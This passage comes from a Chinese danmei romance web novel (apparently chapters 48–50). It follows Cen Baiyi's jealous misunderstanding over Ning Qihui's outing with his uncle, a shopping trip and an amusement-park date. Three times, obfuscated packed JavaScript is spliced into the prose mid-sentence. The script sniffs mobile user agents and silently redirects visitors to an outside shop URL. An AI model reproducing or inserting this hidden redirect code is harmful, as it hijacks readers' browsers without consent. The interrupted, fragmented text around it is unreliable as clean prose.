又是一周一次结账日,岑念见他兴奋收钱的模样,忍不住问:“小宁老师,你很缺钱吗?” 宁启洄手一顿,“很明显吗?” 岑念疯狂点头,他小宁老师每次收钱都很开心,浑身上下透露着财迷的气息。 他想,要是钱还不够,他就用自己的小金库支援小宁老师——毕竟是自己准嫂子,肥水不流外人田嘛! 说不定以后结婚还能免了他的礼金,哇哈哈哈哈!他可真是机智得一批! 宁启洄不知道岑念已经畅想到了他和他哥的婚礼上去了,只是无奈道:“给人送生日礼物,钱不太够。” 一旁拼模型的岑柏意手一顿,状似无意问道:“给谁送的?” 之前没来得及问,如果是给某个同龄有好感的男生,那他岂不是送羊入狼口了! 岑柏意莫名有一股来自“情敌”的危机感,狭长的眸子微微眯起。 宁启洄也没多想,只当他是随口问问,“噢,是我小——” 就在这时,宁启洄的手机响了,他低头看了眼,走出去接电话。 岑柏意微微抿唇,眼神要把他手心的手机给盯穿。 小什么?叫的这么亲密。 不知道手机那头的人说了些什么,宁启洄笑了几声,看起来很开心。 岑柏意看着他翘起的唇角,有些高兴,又有些不高兴。 电话持续了几分钟,宁启洄回来的脸色都带着笑,他说:“明天上午能请个假吗,我有点事情要出去一趟。” 哦,有事情,不点明,看来是不方便说。 岑柏意说好,气压又低了些,不过宁启洄并没有注意到,高高兴兴哼着歌去洗澡。 只有一直观察着他哥的岑念心惊胆战:完了完了,他哥这是个什么表情。 他也没见过,他也不知道哇。 生气了? 不像。 难过了? 也没看出来。 岑念悄悄上网搜了半天,得出结论——他哥,好像是吃醋了。 岑念踮起脚尖悄咪咪爬上楼,他决定,还是不去触这个霉头好了,容易误伤友军。 第二天一大早,岑柏意做了早饭,就见宁启洄扯了件外套,急急忙忙朝外走。 “吃完早饭再走。” “不吃不吃来不及了!”宁启洄飞速穿鞋,冲身后挥挥手,“午饭不用给我留——” 砰! 门关上了,别墅一楼只有岑柏意一个人了。 他愣了好一会,解下围裙坐在餐桌边默默吃饭。 精心熬了很久的海鲜粥这会喝着也没滋没味,他做了那天宁启洄很喜欢吃的锅贴,很脆,鲜甜的汤汁在嘴里溅开。 没意思。 他只吃了几口就停了,呆呆地看着属于宁启洄的位置。 因为生物钟被强行唤醒的岑念打着哈欠下楼,很自然地坐进自己的座位。 宁启洄的位置是空着的,岑有些念奇怪问道:“小宁老师不吃早饭?” 话一出口,顿时清醒了几分,想抽自己个大嘴巴子。 昨天小宁老师说要出去还不带他哥,他哥明显不高兴了,吃醋了,虽然不知道是为什么吃醋,但就是表情有点难看。 他还哪壶不开提哪壶,怎么就不长记性呢! 岑柏意面无表情看了他一眼,语气平淡,“四套数学题,写不完不准吃午饭。” 岑念:“……” 凶得要死,你真是活该没对象。 上午,岑念同学被困在四张数学试卷的噩梦里,而岑柏意,收拾了一下,出门了。 他不知道宁启洄去了哪里,只能漫无目的地四处逛逛。 一个上午的时间加上来回往返,去不了太远的地方,大学城附近无非就是两条商业街比较火。 岑柏意戴上鸭舌帽和口罩,低着头往前走。 不知道逛了多久,他终于看到了想见的人。 宁启洄高高兴兴挽着一个男人的手臂,时不时侧过脸和他交谈,脸上笑意满满,距离很近,看着很亲昵的模样。 那男人比他高小半个头,穿着深色休闲装,气质懒散,吊儿郎当的。 ——不靠谱,岑柏意在心里默默评价。 他家岁宝不能和这种男人走得太久。 跟了两个多小时,岑柏意眼睁睁看着他们在商场里的各个服装店逛了个遍,又转头进了周边店和零食店。 真是逮着啥店逛啥店,跟没进过城似的。 那男的太能逛了,稍微一分神他就不知道他们去哪里了。 等他们进了餐馆吃饭,岑柏意才表情麻木地去了另一家餐馆,给岑念打包了饭菜回家了。 下午,宁启洄拎着大包小包回来了,跟踪了一路、只提前一小会到家的岑柏意还没来得及喘口气,随手拿了平板看新闻打掩护。 他目光一直跟随宁启洄移动,看似随意问道:“今天玩得开心吗?” 宁启洄其实要累死了,苏绍庭也太能走了,带着他几乎把大半条商业街的店都逛了个遍——不过也能理解,毕竟被外公流放国外了,憋这么久才回国,放松放松也情有可原。 但还是不想让岑柏意担心,他只说:“挺好的。” “哦。” 岑柏意面无表情咀嚼这三个字,挺好的,和那男的逛是挺好的,一路上笑脸就没下来过。 心里酸酸的,但不说。 宁启洄见他没什么反应,狐疑道:“你为什么不问我去了哪里?” 按照常理,不该是“和谁去哪什么时候”三连问吗,为什么这人一点反应都没有。 岑柏意手一顿,淡定解释:“给你留点私人空间。” 这话就讲得很官方了,听着有些冷漠无情。 宁启洄听着更心酸了,才明白自己的心意,就被心上人用这么冷漠的态度对待,真是伤人。 他内心脑补了一出“天下有情人终成兄弟”的大戏,正欲回房,就听岑柏意语气淡然道:“下午要出去逛逛吗?和我一起。” “……?” 哎不是,最近A市有竞走比赛还是怎么的? —— 最终,宁启洄自然是答应了,即便走了一上午走得腿痛,他也是愿意陪心上人再逛逛的。 依旧是熟悉的商业街,依旧是凹凸不平的人行道。 宁启洄怀着一颗赴死的心,跟着岑柏意往前冲。 岑柏意很贴心地走得很慢,宁启洄的脚这才没有遭受重创。 没走过一家小吃店,岑柏意都会问他要不要吃,被投喂了一个上午的小吃外加一顿豪华午餐的宁启洄连忙摇头。 他是真的吃不下了。 岑柏意抿唇,那个男人给的就要,他给的就不要。 不公平。 酸味又渐渐涌上来。 问了一路,都说不要。 在岑柏意快把自己醋死之前,他们路过了一家奶茶店。 宁启洄停下脚步,“要喝奶茶吗?” 岑柏意脚步一顿,很自然地走过去,“你要喝什么,我买。” 宁启洄笑眯眯地点了杯招牌奶茶。 他其实也不太想喝,但岑柏意问了一路他总是不要,感觉哪里怪怪的,而且他总觉得每一次拒绝之后,岑柏意周身的气压就更低了一些。 也不知道是不是错觉。 见他喝了奶茶,岑柏意表情终于有了点阳光,他很自然地拉着宁启洄的手腕,带他往商场走去。 “人多,别走散了。”岑柏意低声道。 宁启洄很快接受了这个解释,高高兴兴喝奶茶。 “干什么去?”突然看见熟悉的商场,上午的恐惧袭上心头。 岑柏意没解释,只是带他逛了一个又一个品牌服装店,他只是个无情地试衣机器。 甚至连拒绝的话都来不及说,岑老板就爽快结账了,还给买了不同颜色的换着穿,手里的袋子越来越多。 好在苏绍庭虽然逛的多,但实际没买太多衣服,怕他拿不回去,因此岑柏意买的这些品牌和他买的并没有重复。 买完衣服又去了周边店,宁启洄并不热衷这些,不过因为苏绍庭的缘故,他对周边也有一点点了解。 尤其是今天上午被拉进周边店,强行恶补了不少游戏和动漫知识,听得他晕晕乎乎的。 逛了很久,两人终于想起来,家里还有一个留守儿童等着他们。 宁启洄略显心虚地钻进一家周边店,给岑念选礼物——他记得岑念是喜欢手办的,他卧室的玻璃柜子里全是机器人模型和手办,而岑柏意房间都是摆的乐高,看着就很贵的那种。 岑柏意没进去,店里人不少,手里拎的东西太多,他就在外面等着。 仗着身高腿长,他的目光越过人群,准确地落在店里那个忙忙碌碌挑礼物的身影上。 他的嘴角微微翘起,就听身侧传来一道弱弱的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105338|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音:“帅哥,请问能加个微信吗?” “?” 等宁启洄拎着给岑念带的手办出来,岑柏意身边已经围了一圈人,都是年轻貌美的女生围着他,把手机递到他面前,估计是想要微信。 岑柏意表情淡淡,似乎毫不在意,但也没有掏出手机扫一扫。 直到看见他出来了,岑柏意的表情才生动了一些,大步朝他走去。 “搞什么,原来是gay,走了走了。” “他对象也好好看” “虽然没要到微信,但是颜狗的视觉得到极大的满足!” 声音毫不掩饰,两人都听得清清楚楚。 岑柏意微微勾唇,拎着满手袋子去搭车。 宁启洄抱着手办盒子,垂头跟着他走。 两人似乎都没在意他们的话,只是一个耳根发烫,一个更是满脸通红。 —— 再次回到家,宁启洄是彻底走不动了,直接瘫在沙发上,让岑念自己下来拿礼物。 看着满桌子满地都是他给宁启洄买的衣服鞋子,岑柏意压抑一个上午的脸色这才好看点。 岑念抱着手办,眼睛滴溜溜转,“小宁老师,你上午和谁出去了啊?” 岑柏意脸一黑,哪壶不开提哪壶,这弟弟不能要了。 宁启洄喝了口水,懒懒应道:“是我小舅。” 岑柏意脸色突然僵硬,“你买礼物也是……” 他记得宁启洄说礼物是给他小什么的,只不过话没说完,被电话铃声打断了。 “对啊,他生日快到了。”宁启洄很自然地点头,又轻轻皱眉抱怨道,“他喜欢的那个绝版手办可贵了,好不容易找到卖家,月底凑不到钱他就出给别人了。” 叨叨好一会,这才注意到岑柏意逐渐窒息的表情。 “?” 宁启洄:“怎么了?” 岑柏意不知道该怎么解释,他又是误会又是吃醋,昨晚跟自己生了大半夜的闷气,今早爬起来给他做早饭还没吃,都快气死了。 然后就偷摸跟在后面去看他到底和谁“私会”,结果是和人家小舅。 这乌龙闹得…… 岑柏意默默闭眼,不愿再面对。 他没想过,自己还能有这么丢人的时候。 果然,爱情使人盲目吗。 见他不说话,宁启洄也没追问,只是一瘸一拐往卧室走。 “腿怎么了,又疼了?”岑柏意瞬间紧张。 骨折腿没养好是可能落下毛病的,之前这人就三番五次造作,幸亏身体素质不错,不然这腿哪经得起这么折腾。 不过,都过去半年了,不该还没好吧。 宁启洄:“走路走太多了,叫有点痛。” 闻言,岑柏意之间把宁启洄抱着上楼往卧室走。 宁启洄挣扎几下,发现岑柏意力气大得很,便由他去了——反正他脚痛得厉害,也不是很想走路。 距离不远,一分钟就到了。 抱着宁启洄,岑柏意也没别的旖旎心思,把他放在床边坐好,既心疼又自责。 “脚痛怎么不说?”岑柏意皱眉,原本的一丝误会尴尬已然消散,他蹲下身检查他的脚,“没起泡,还好,今晚泡个脚。” 宁启洄支吾半天,到底没说出什么来。 总不能说是想和他一起逛街,强忍着没说吧。 岑柏意放好热水,端着盆过来。 宁启洄把脚放热水里,小腿肌肉微微紧绷,然后放松。 岑柏意撸起袖子,露出一截精瘦的小臂。 他伸手浸入水中,握住宁启洄的脚。 后者下意识一缩,瞪大眼睛看他,“你干嘛!” 岑柏意盯着他看,语气认真,“我会按摩,让我试试。” 宁启洄惊奇地看向他,“你还会按摩?好厉害!” 并不会,是他临时上网学的。 但他的夸赞,还是让岑柏意微微翘起唇角。 为了避免按错穴位给按出什么毛病来,他只轻轻地给脚背脚掌按摩放松,不敢太用力。 宁启洄被按得有些痒,想要往旁边避,却被他拖回来继续按摩。 看着那双微微泛红的脚,岑柏意满脸自责,“是我不好,明知你逛了一个上午,还让你陪我。” ……嗯? 听到这话,垂眸看水中那双手的宁启洄突然抬头看他,语气狐疑,“你怎么知道我逛了一个上午?” 他没记错的话,他只是说他有事要出去,没说是去逛街。 岑柏意:“……”大意了。 49.气球 岑柏意快速思考,从早上出门开始回忆,脑海里的画面最终定格在宁启洄进门的一瞬间。 他沉着开口:“你下午回来拎了几个袋子,我想应该是去逛街了。” “是哎,我忘了。”宁启洄笑眯眯点头。 岑柏意悄悄松了口气,总算是蒙混过关了。 得知送礼物的对象是小舅之后,岑柏意神色放松了许多,表情略微有些心虚。 宁启洄没注意到这些,他只想到楼下一满地的衣服袋子,有些发愁。 他带来的行李箱,估计是装不下了。 岑大少爷好人做到底,拿来毛巾给他擦脚,擦干净了规规整整穿进毛茸茸的拖鞋里——这是夏女士得知宁启洄要住在家里,当天晚上去买的,挑了双可可爱爱的毛绒白兔子拖鞋。 夏女士本意是想要个女儿的,但奈何两个都是儿子。 大儿子常年垮着一张脸,小儿子不听话得很,她一颗想给崽打扮的心只能暂时埋没了。 现在不一样了,小宁老师和她大儿子差不多年纪,性子又乖得很(哈哈演的),长得也乖,她实在是控制不住地母爱泛滥。 于是,这双毛绒兔兔拖鞋诞生了。 当时,岑念毫不客气地嘲笑,换来了加量两套英语卷子,岑柏意倒是表现挺正常,只是视线时不时扫过他的兔兔拖鞋,眼里含着笑意——当然,他对此是毫无办法的。 只不过,毛绒拖鞋确实很舒服,宁启洄在拖鞋里动动脚丫,踩着鞋跑下楼去理衣服。 跑到一半,又转回来,透过半开着的门,看见岑柏意端起盆去卫生间倒水。 宁启洄脸红了一下,悄悄退出去。 衣服买来就是要穿的,宁启洄的客卧没有衣柜,行李箱又塞不下,只能借用岑柏意尊贵的衣橱放一放。 他们家只有一个单独的衣帽间,在三楼,那是属于夏玥女士的。 收拾完,已经半夜了。 宁启洄礼尚往来地给岑柏意打开浴室的灯,让他接点水泡脚。 岑柏意哭笑不得,按照常理来说,不是应该给他也按按吗。 他一直盯着水面,静静泡了一会,等水渐渐凉透了,突然笑了一下。 宁启洄回到床上,仿佛又回到了前几天的纠结模样。 他想,岑柏意为什么会突然带他去逛街——就他这些天的观察来看,他是个纯宅男,没人叫他他是不会自己主动出去的。 用他自己的话说,是电影不好看,还是乐高不好玩。 那下午岑柏意为什么临时起意叫他出去?总不能是因为苏绍庭带着他逛了一上午,他吃醋了吧。 宁启洄突然瞪大眼,被自己的想法吓了一跳。 应该,不至于吧? 他开始仔细复盘今天的种种,或者说从昨天晚上开始的种种。 晚上他说今天要出去,岑柏意的表情就不太对劲。 今天早上他离开,岑柏意也没发表任何言论,就是看着有点不高兴的样子。 他得出结论:大概,大概是岑柏意也想出去逛逛但又不好意思,所以找了个借口拉他作陪吧。 吃醋什么的,好像不太现实。 他上网搜了搜吃醋的表现: 1.骂骂咧咧——这条没有,岑柏意很有教养,一般不骂人。 2.突然很忙,忙得见不到人影——好像,也没有,忙的是他,忙着陪他们逛街,上午逛完下午逛。 3.当众呛人,故意唱反调——没有,再强调一遍,他岑总脾气很好。 …… 37.很生气,但还是要保持微笑——这个……岑柏意一直没什么表情,应该是没生气吧? …… 宁启洄把搜出来的几十条吃醋表现一一对照完,很肯定地认为,岑柏意并没有吃醋。 那就好,网上说吃醋了还要哄,他现在还不知道用什么身份去哄岑柏意呢。 没吃醋就好。 宁启洄安然闭眼,也许是走了一天的缘故,他睡得很香。 而泡完热水脚又泡冷水的岑柏意,默默爬上床,开始反思自己昨晚到今晚的愚蠢行为。 他觉得,开始正式追求宁启洄。 第一步,是不是得先让他知道他的心意? 不行,从他对同人贴的反应来看,估计是厌恶的,听不得A大学生讲一点这个。 先帝创业未半而中道崩殂。 岑柏意幽幽叹气,睡不着,他点开了岑念很久以前发来的追人PPT。 已过期。 “……” 【cby】:把PPT重发一遍。 【暗夜炽天使】:拜托,你之前干什么去了。(神之鄙视.jpg) 【cby】:发不发。 三个字加一个标点符号,冷冰冰的。 岑念能想到他哥此刻肯定是垂着眼,一张面无表情死人脸。 语气淡淡,很有威胁性。 【暗夜炽天使】:…… 【暗夜炽天使】:[追人手册.pptx] 【暗夜炽天使】:[追人手册升级版2.0 .pptx] 熬夜打游戏的岑念撇撇嘴,真是的,有求于人,凶什么凶。 他哥真是一点礼貌都没有! 没礼貌的岑柏意拿到文件就没回复了,他以一种研究学术的严谨态度,认真观摩起来。 —— 第二天一早,宁启洄突然得知过几天要去游乐园。 “怎么突然想起去游乐园了?”宁启洄喝了口牛奶,唇边留下一圈浅浅的白沫,微微出神。 他在反思,是不是最近请假太多了,岑老板用这种方式来讽刺他。 又是泡汤又是逛街的,确实有点松散了。 岑老板并没有这个意思,甚至纡尊降贵伸手给他抹去了唇瓣的奶渍。 “……!” 宁启洄微微瞪大眼睛,还没来得及说什么,就听岑柏意语气平淡地说道:“岑念昨晚跟我说的。” 说着,淡淡地瞥了他一眼,眼神饱含深意。 岑念:“……” 是,什么都是他想做,他年纪小他活该背锅。 岑念解读了一下,他哥的眼神大概是在说:说你想去,不然断你网。 迫于亲哥的淫威,他咬了口三明治,只能捏着鼻子认了。 宁启洄注意力被瞬间转移,他了然点头,到底还是个孩子嘛,有童心很正常。 丝毫没有考虑到,他和林枫晚的十二岁,是在各个山头进行惊心动魄的夜间探险,好几次遇到了蛇。 毫无童趣,全是刺激。 就这样相安无事过了几天——除了宁启洄教课教到快要心梗以外,一切都很平淡。 很快到了去游乐园的时候。 岑柏意默默在心里复盘了一下PPT的内容,不够完善,有很多缺陷。 所以他就给PPT进行了一下修补工作,衍生出方案BCD,确保万无一失。 A市有所全省最大的游乐园,离大学城有点远,岑柏意开车带着他们过去。 实在是有点远,宁启洄打着哈欠要睡了,“辛苦了岑师傅。” “不辛苦。” 岑柏意嘴角微翘,余光看了眼副驾驶上闭着眼睛的青年,感觉心里满满的。 是,你是不辛苦了,我辛苦,放着游戏不玩来给你们约会打掩护。 后座的岑念看得牙酸,默默点开Steve之歌,静音播放,内心流泪。 月之城游乐园是本省最大的游乐园,设施完善,项目齐全,每逢周末或节假日,游乐园总是人满为患。 今天也不例外。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115519|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岑柏意拿着找朋友要的内部票进去,看着人头攒动的场地,一时开始怀疑来这里的决定到底正不正确。 瞥见一旁有穿着小丑玩偶服饰的工作人员在卖气球,他默默回忆PPT里的内容。 【给她买气球,粉色的HelloKitty,女孩子最喜欢粉色了!】 估计追的是位女生,对他们来说不太适用,但也可以借鉴一下。 岑柏意想了想,决定把这一条思路也完善一下。 “我离开一下。”他给宁启洄说了一声,转身离开。 过了几分钟,宁启洄看见他回来了,与此同时,还有头顶一片黑压压的阴影。 “?” 他仰头,看见一大串气球飘在自己脑袋上空,张牙舞爪的,都快挤不下了。 宁启洄看了看五颜六色各式各样的气球,没忍住问道:“这是……?”去进货了? 沉迷新魔方的岑念默默闭眼,他哥没救了。 岑柏意没得到预料中的反应——根据PPT说,是会抱一下他的。 他想了想自己改良版的攻略,觉得再不济也要冲他笑一笑才对。 这是个什么表情。 岑柏意不知道,这已经是宁启洄目前能做出来最正常的表情了,还是看在他喜欢他的份上做出来的。 要是林枫晚,他一脚就踹上去了。 岑柏意抿唇,决定放弃气球攻略,快进到下一步: 【适当购买小吃,比如冰激凌,小蛋糕等,可以促进好心情!(ps:她喜欢吃草莓味的,香香甜甜,和她一样~)】 岑柏意改进了一下,决定买巧克力味的,总不会出错——如果游乐园有卖的话。 他四处看看,找到了一家冰激凌店。 “想吃冰激凌吗?我去买。” 宁启洄其实不太想吃,毕竟现在天气稍微有点冷了,但对上岑柏意期待的视线,他还是点点头。 岑柏意大步离开,留下手里攥着大把气球的宁启洄和皱眉拧魔方的岑念傻站在原地。 “妈妈,我想要这个猫咪气球!” 突然,一旁有个扎着羊角辫的小女孩看向他这边,伸手扯住她妈妈的衣袖撒娇。 小女孩满脸惊叹,似乎在羡慕这位哥哥居然有辣——么多气球。 宁启洄木着脸,递给她一个,然后又把自己的收款码给出去——本来要免费送的,但那位母亲不太好意思收,坚持要给钱。 游乐园的人也渐渐多了起来,周围有人不住来打听气球的事情,还有小孩子眼巴巴望着他,一脸向往。 于是,宁启洄在游乐园里被迫做起了气球生意。 买了冰激凌回来的岑柏意看见原来宁启洄站的地方挤满了人,他有些奇怪地看过去,发现最中间赫然漂浮着那一大串气球,但数量似乎减了不少。 站在最中间的宁启洄表情麻木,熟练地递气球,递收款码,像个莫得感情的赚钱(划掉,亏本)机器。 岑念被挤到另一边,坐在长椅上,拿出手机记录着历史性的时刻。 “?”好像有点大事不妙。 人实在有点多,岑柏意挤不进去,只能站在外围。 “请问为什么这么多人?”岑柏意询问。 “哎呀,这小哥哥长得帅,气球又卖得便宜,肯定人多啊。”有位女生热心回答了他的问题。 她的同伴接过她的话,“也不知道他下次什么时候来,希望多进点货,我想要派大星的气球!” “……” 岑柏意只能默默等宁启洄做完这笔大生意,看着他五十一个买的气球转手十块一个卖出去。 长得很帅的卖家小哥哥面无表情,只是隔着人群和他对视,眼里杀意涌动。 虽然他有点喜欢他,但这并不妨碍他想鲨了他。 50.游乐 又过了几分钟,气球大业才算圆满结束。 好在天气不热,冰激凌没有化太多,还能看出来它生前的模样。 宁启洄拎着三个气球过来,给他们三人手腕上一人绑了一个。 岑柏意一愣,“没有卖完吗?” 宁启洄木着脸看他,“我们是专门来卖气球的?” “……抱歉。”岑柏意把冰激凌递过去,满是歉意地看着他。 舔了口奶香味十足的巧克力冰激凌,宁启洄宽容地原谅他,权当是另一种新体验了。 他有些新奇地跟岑柏意讲卖气球的感受,虽然赚得不多,但钱拿到手里是沉甸甸的! ——虽然大多数都是微信支付,但也很有成就感。 一旁的岑念听得嘴角抽搐:何止是赚得不多,是根本没赚,就算不计人工费和花费的时间,倒亏了快一千。 当然,这话他是肯定不会说的。 岑念看着他哥坦然收下宁老板生意大成功的一份分红,嘴角的笑像不值钱一样,根本就没下来过。 算了,随便吧。 僚机二号宣布暂时下线。 几人在游乐园逛了半天,宁启洄看着碰碰车旋转木马之类的项目,丝毫没有参与的欲望。 岑柏意见他没动,轻声问:“要不要玩点什么?” 比如说恋人瀑布、心动链桥之类的? 他在心里给对方预设了几个选项,但面色是一片平静,丝毫不敢泄露出来。 宁启洄不感兴趣地扫了扫周围的项目,突然眼睛定住。 “我们去坐跳楼机吧!”宁启洄眼睛亮亮的,看向那边惊险刺激的跳楼机。 岑念:“……” 说鸡不说吧,文明你我他。 本意是打算按照攻略去摩天轮的岑柏意瞬间倒戈,“好啊。” 岑念身高能够上跳楼机的最低要求,但他主动请缨去坐旋转木马。 宁启洄目光柔和:还是个小孩子呢。 岑念:你们坐跳楼机尖叫着牵手,我就不在边上碍眼了。 岑柏意:识趣,再给你买个机器人。 三人相视一笑,各怀心事去排队。 跳楼机是月之城游乐园最出名的娱乐项目之一,排队的人很多,他们跟着晃了四十多分钟才排上。 期间,宁启洄记住了跳楼机上的涂鸦,数清前面那人稀疏毛发下藏着的小疙瘩,以及小孩喊了多少声“妈妈我要尿尿”。 嗯,挺好。 系好安全带,跳楼机慢慢升空,宁启洄好奇地四处张望。 月之城游乐园建成的时候,刚上初中的宁启洄(自认为)已经过了玩这些“幼稚”项目的年纪,沉溺于枪战网游无法自拔——这也是后来宁启洄只玩植物大战僵尸的原因,当年的中二少年玩网游玩伤到了。 现在时隔多年再重新体验一次,还挺激动。 跳楼机达到最高点,突然停住,宁启洄还在奇怪是不是坏了,下一瞬,跳楼机突然开始极速下坠,强烈的失重感让他下意识朝身边寻找什么东西可以扶住。 啪—— 他握上了一个干燥温暖的东西,是岑柏意的手。 下坠速度越来越快,像是从一百多米的高楼直直下坠,高空中无处可逃,只能紧紧握住他的手,像是看见了救命稻草一般,稳定心神。 周围环绕着其他游客的尖叫声,隐约夹杂着哭泣。 宁启洄心跳越来越快,手心握住的手掌却很热,沉稳安定。 视野里的景物越来越清晰,风声在耳边呼啸,周围的尖叫声也逐渐增大,但他却清晰听到了身侧人低沉又耐心的声音,“别怕。” 不怕。 宁启洄勾勾唇角,握住的手更加用力。 跳楼机在快接近地面的时候,开始减速,最终缓缓停稳。 没等心率降下来,跳楼机又缓缓升了上去,再迅速下落。 如此往返几次,两人就这么牵着上上下下,但没有发出任何声音,显得和周围格格不入。 直到跳楼机彻底停下来,宁启洄才表情麻木地被扶着下座椅。 有一种跳楼被救的劫后余生之感。 宁启洄有些腿软地被岑柏意半搀扶着,走了一会,他挣脱出来,坚定表示自己要独立行走——要是被岑念看到,那可真是太丢人了。 坐了一会,终于缓过来的宁启洄又开始造作,他决定去鬼屋逛一圈。 鬼屋门口的工作人员穿着清朝僵尸服,垮着张特地画出来的青灰色脸,麻木地指挥游客排队。 鬼屋很大,工作人员僵硬地笑了一下,在青灰色的脸上显得很诡异。 他说,他们直接沿着主干道直走就能走出去,但宁启洄觉得,显然不会这么轻松。 进入鬼屋,光线陡然暗下来,只会有两侧墙壁上的幽幽灯光勉强指引着前路的方向。 没走多久,诡异的声音突然响起,身后窜出一个红衣女鬼,女鬼似乎吊着威亚,飞得那是相当迅速,几下就挡住了游客们的路。 这一组有十个人,看见女鬼浑身是血眼眶空空的模样,发出尖叫鸡的惨叫,震得宁启洄耳膜疼。 红衣女鬼在空中停住,转身来追他们,大家又尖叫着跑进拐角,宁启洄也拉着岑柏意跑。 遇到不知道第几个拐角,他们和一起进来的人早就跑散了。 旁边时不时传来怪叫,估计是遇上其他NPC了。 眼见着又要拐进另一个岔路口了,那头突然传来锁链的声音,他抬头看去,借着两侧昏暗的灯光,他看见来人,哦不,来鬼是是一个画着小丑毁容妆的医生,腰侧别着长长的针管,手里拿着大锁链,锁链另一头连着一个很大的东西,似乎是铁锤,在地上拖行发出沉闷的声响。 宁启洄看着拐角处拖着锁链的医生鬼,略显绝望,身后的红衣女鬼还给医生鬼打了个鬼之间的招呼,冲他们桀桀桀开笑。 宁启洄想了想,也桀桀两声。 红衣&医生鬼:“……” 岑柏意:“……” 噢,不是声控通关啊,报一丝。 见两没有丝毫害怕,红衣女鬼很敬业地嘶吼几声,正要飞身向前,却突然在原地打了个转。 “?” 女鬼也有点惊讶,医生NPC默了默,继续扮演鬼,拖着大铁锤朝两人奔去。 宁启洄看出来了,大铁锤是实打实的份量,医生NPC很瘦,能拖动实属不易,估计是拎不起来。 两个毫无威胁的NPC把两人夹在中间,气氛一瞬间尴尬了不少。 半晌,红衣女鬼拿下变声器,声音清越又绝望道:“李哥,扶一下我,我停不下来了。” 医生鬼NPC顿住,松开铁锤去扒拉红衣女鬼。 因为要起到一个俯瞰威胁的作用,红衣女鬼被吊得很高,医生鬼跳起来够都没碰到红衣女鬼,后者还在空中转着圈圈。 气氛一瞬间更尴尬了。 最终,还是宁启洄看不下去了,支使全场顶梁柱岑老板踩着板凳去解救打转的女鬼。 秩序归位,两只鬼道完谢,继续桀桀笑。 宁启洄站在岑柏意身后,正准备硬刚上去,就见岑柏意突然扭头,张嘴要说点什么。 一个仰头,一个垂眸。 距离很近,像是快要亲上去了一样。 时间突然静止,两人就这么愣愣地看着彼此。 两只鬼NPC凑近看看,从左边转动右边,又转回来,硬是没等到两位游客给点反应。 ……是他们妆花了吗? 鬼屋的灯光十分黑暗,寂静的氛围中(如果不考虑BGM和两只鬼吱儿哇乱叫的话),更容易感知到别样的情绪,滋生某些情感。 宁启洄心脏砰砰直跳,像是快要钻出胸膛。 半晌,他开口打破死寂,“那,先出去?” “好。”黑暗中,岑柏意声音依旧沉稳,但填了股不易察觉的热意和低哑。 随即,他伸手扣住宁启洄的手腕,自然地把他拉了出去,经过鬼NPC旁边,回到鬼屋的主干道上。 “让让。”有点挤了。 被忽略的两只鬼:“……” 请问呢,有没有人尊重过他们的职业?! 但他们只是NPC,负责吼两句吓吓人,并不能对这两位大胆的游客做什么。 从鬼屋一出来,没等宁启洄开口,岑柏意就松开了手,似乎没觉得有哪里不对劲。 宁启洄悄悄松了口气,还好松手了,不然被岑念看到都不知道要怎么解释。 阿念,我喜欢你哥,我想做你嫂子。 或者,阿念,是你哥先动的手。 不管是哪种,想想都很窒息。 宁启洄决定找个休闲点的娱乐活动压压惊——刚刚差点就亲上了! 鬼屋不远处有个童话歌厅——这可能就是刚才听到的莫名鬼叫的来源吧,声音还挺大。 宁启洄兴致勃勃拉着岑柏意去了,等在鬼屋门口但完全被忽视掉的岑念默默跟上。 这里人不多,估计大家的歌王天赋都在KTV展示过了。 宁启洄一连唱了好几首,英文的中文的,从《小星星》唱到《Jingle Bells》,给他唱爽了。 吐字清晰,就是没一句在调上。 “我唱歌怎么样?”放下话筒,宁启洄眼睛亮亮地看向岑柏意,似乎在求夸奖。 岑念没忍住笑了一声,又很快收拾好表情。 岑柏意横了岑念一眼,斟酌着开口:“还不错。” “……?”好万金油的评价。 岑念:是,你当然觉得还不错,你都偷摸用手机录音了,别以为我没看到。 宁启洄瞥了眼静如鹌鹑的岑念,看向岑柏意,“好听吗?不许对我说谎。” “不难听,”岑柏意觑向宁启洄平静的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宁启洄自认体贴,刚要去排队,手腕却再次被扣住,岑柏意自然地带着他往前走。 他下意识回头,心虚地扫了扫岑念,发现后者完全不关心这边,只是低头玩已经完全复原了的五阶魔方。 岑念:这个魔方可真魔方啊。 宁启洄悄悄松了口气,和岑柏意坐进同一个轿厢里,而岑念同学,面无表情地被他哥赶去了另一个轿厢,他甚至来不及阻止。 摩天轮是游乐园内最高的娱乐项目,跳楼机也只能排第二。 摩天轮慢慢升空,宁启洄的视野越来越开阔,他看着地面上小成黑点的游客,心里莫名感慨。 轿厢里的有些气氛升温,岑柏意温柔地看着宁启洄的侧脸,正要说点什么,就听后者说:“哎,你看那人坐跳楼机坐吐了哈哈哈哈!” “……”岑柏意嘴动了动,最终只是点头,“嗯。” 等轿厢快升到最高点了,宁启洄也觉着自己刚才这番话有点破坏气氛,他老实壁纸,低头看轿厢底部。 他突然想起有一个传说——一起坐摩天轮的恋人最终会以分手结束,但当摩天轮到达最高点时,如果和爱人亲吻,就会一直走下去。 